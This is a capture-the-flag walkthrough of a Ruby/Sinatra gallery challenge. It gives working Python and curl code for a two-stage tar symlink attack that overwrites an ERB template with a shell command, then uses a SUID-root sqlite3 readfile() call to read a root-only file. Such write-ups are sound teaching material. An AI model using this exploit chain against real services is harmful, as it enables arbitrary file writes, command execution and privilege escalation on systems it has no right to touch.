Undervattensgalleriet
Undervattensgalleriet
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: arbitrary_file_write, erb_template_overwrite, suid_sqlite3_readfile, two_stage_tar_symlink_attack
Summary
Walkthrough of the CUSTOM Web Undervattensgalleriet. Task: Ruby/Sinatra photo gallery with tar file upload on Alpine Linux. Solution: Two-stage tar symlink attack to bypass BusyBox protections, overwrite ERB template, then use SUID sqlite3 readfile() to
Description
Det är få saker som oceanografer gillar så mycket som snygga bilder av fiskar i motljus! Även på havets botten finns tydligen behov av att dela med sig av fina bilder.
Forskaren och (aspirerande hemmakodaren) Göran Gädda har därför utvecklat en webbtjänst för att skapa snygga fotogallerier. Han verkar dock ha vibe-kodat och inte tänkt igenom alla säkerhetsaspekter.
Han delar gärna med sig av sin källkod. Kan du exfiltrera någon intressant information från Görans tjänst?
English summary: An underwater photo gallery web service built by a researcher who "vibe-coded" without thinking through security. Ruby/Sinatra application running on Alpine Linux with source code provided. Goal is to exfiltrate interesting information (flag.txt owned by root with 600 permissions).
Analysis
Application Structure
The app is a Ruby Sinatra web application running on Alpine Linux (BusyBox). Key Dockerfile observations:
dockerfile read-only • copy allowedFROM ruby:4.0.1-alpine3.22 RUN chmod u+s /usr/bin/sqlite3 /bin/cat RUN chown root:root flag.txt && chmod 600 flag.txt USER web
/usr/bin/sqlite3has SUID root (real binary, not busybox symlink)/bin/catis a busybox symlink (SUID has no effect)- flag.txt at
/srv/flag.txtis owned by root:root with 600 permissions - App runs as user
webwho owns/srvand all app files
Vulnerable Code
The gallery creation extracts user-uploaded tar files directly:
ruby read-only • copy alloweddef mkgallery(path = rand(36**8).to_s(36)) d = "#{settings.root}/public/#{path}" Dir.mkdir(d) unless File.exist?(d) system("tar x -C #{d} -f #{params[:file][:tempfile].path}") return path end
Critical vulnerability: The PUT endpoint re-extracts into the same gallery directory:
ruby read-only • copy allowedput "/galleries/:path" do |path| g = GALLERIES.where(path: path, user_id: session[:user]).first or halt 404 mkgallery(g[:path]) # Re-extracts to existing directory! # ... end
BusyBox Tar Security Measures
BusyBox tar has protections:
- Strips
../from paths (prevents simple path traversal) - Refuses to create symlinks to absolute paths when extracting files through them in the same operation
However, these protections can be bypassed with a two-stage attack using separate uploads.
Solution
Step 1: Create Symlink (Stage 1)
First upload creates a symlink pointing to /srv:
python read-only • copy allowedimport tarfile, io tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w') as tar: info = tarfile.TarInfo(name='srv') info.type = tarfile.SYMTYPE info.linkname = '/srv' tar.addfile(info) # Add dummy file so gallery has content dummy = tarfile.TarInfo(name='dummy.jpg') dummy.size = 5 tar.addfile(dummy, io.BytesIO(b'dummy')) with open('symlink_only.tar', 'wb') as f: f.write(tar_buffer.getvalue())
Upload via POST /galleries. This creates public/<gallery_path>/srv → /srv.
Step 2: Write Through Symlink (Stage 2)
Second upload writes malicious ERB template through the existing symlink:
python read-only • copy allowedimport tarfile, io tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w') as tar: content = b"""<pre> flag: <%= `/usr/bin/sqlite3 :memory: "SELECT readfile('/srv/flag.txt');"` %> </pre>""" info = tarfile.TarInfo(name='srv/views/gallery.erb') info.size = len(content) info.mode = 0o644 tar.addfile(info, io.BytesIO(content)) with open('sqlite_fixed.tar', 'wb') as f: f.write(tar_buffer.getvalue())
Upload via PUT /galleries/:path (same gallery). BusyBox tar sees srv/ as an existing directory (actually a symlink from Stage 1), follows it, and writes views/gallery.erb to /srv/views/gallery.erb, overwriting the real template.
Step 3: SUID sqlite3 Privilege Escalation
The malicious ERB template uses sqlite3's readfile() function to read the flag as root:
erb read-only • copy allowed<%= `/usr/bin/sqlite3 :memory: "SELECT readfile('/srv/flag.txt');"` %>
This works because:
/usr/bin/sqlite3has SUID rootreadfile()is a built-in sqlite3 function that reads files- The process runs as root due to SUID, bypassing file permissions
Step 4: Trigger Exploit
Visit GET /galleries/:path — the overwritten gallery.erb template executes, sqlite3 runs as root via SUID, reads flag.txt, and outputs the flag in the HTTP response.
Full Exploit Flow
bash read-only • copy allowed# 1. Register/login to get session curl -c cookies.txt -X POST "$URL/register" -d "username=test&password=test" curl -b cookies.txt -c cookies.txt -X POST "$URL/login" -d "username=test&password=test" # 2. Stage 1: Create gallery with symlink curl -b cookies.txt -X POST "$URL/galleries" -F "title=test" -F "file=@symlink_only.tar" # Note the gallery path from redirect # 3. Stage 2: Overwrite template via PUT curl -b cookies.txt -X PUT "$URL/galleries/$GALLERY_PATH" -F "file=@sqlite_fixed.tar" # 4. Trigger and get flag curl -b cookies.txt "$URL/galleries/$GALLERY_PATH"
Key Takeaways / Lessons
- Mastering arbitrary_file_write, erb_template_overwrite, suid_sqlite3_readfile, two_stage_tar_symlink_attack was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-21 • CUSTOM • Undervattensgalleriet • Difficulty: Medium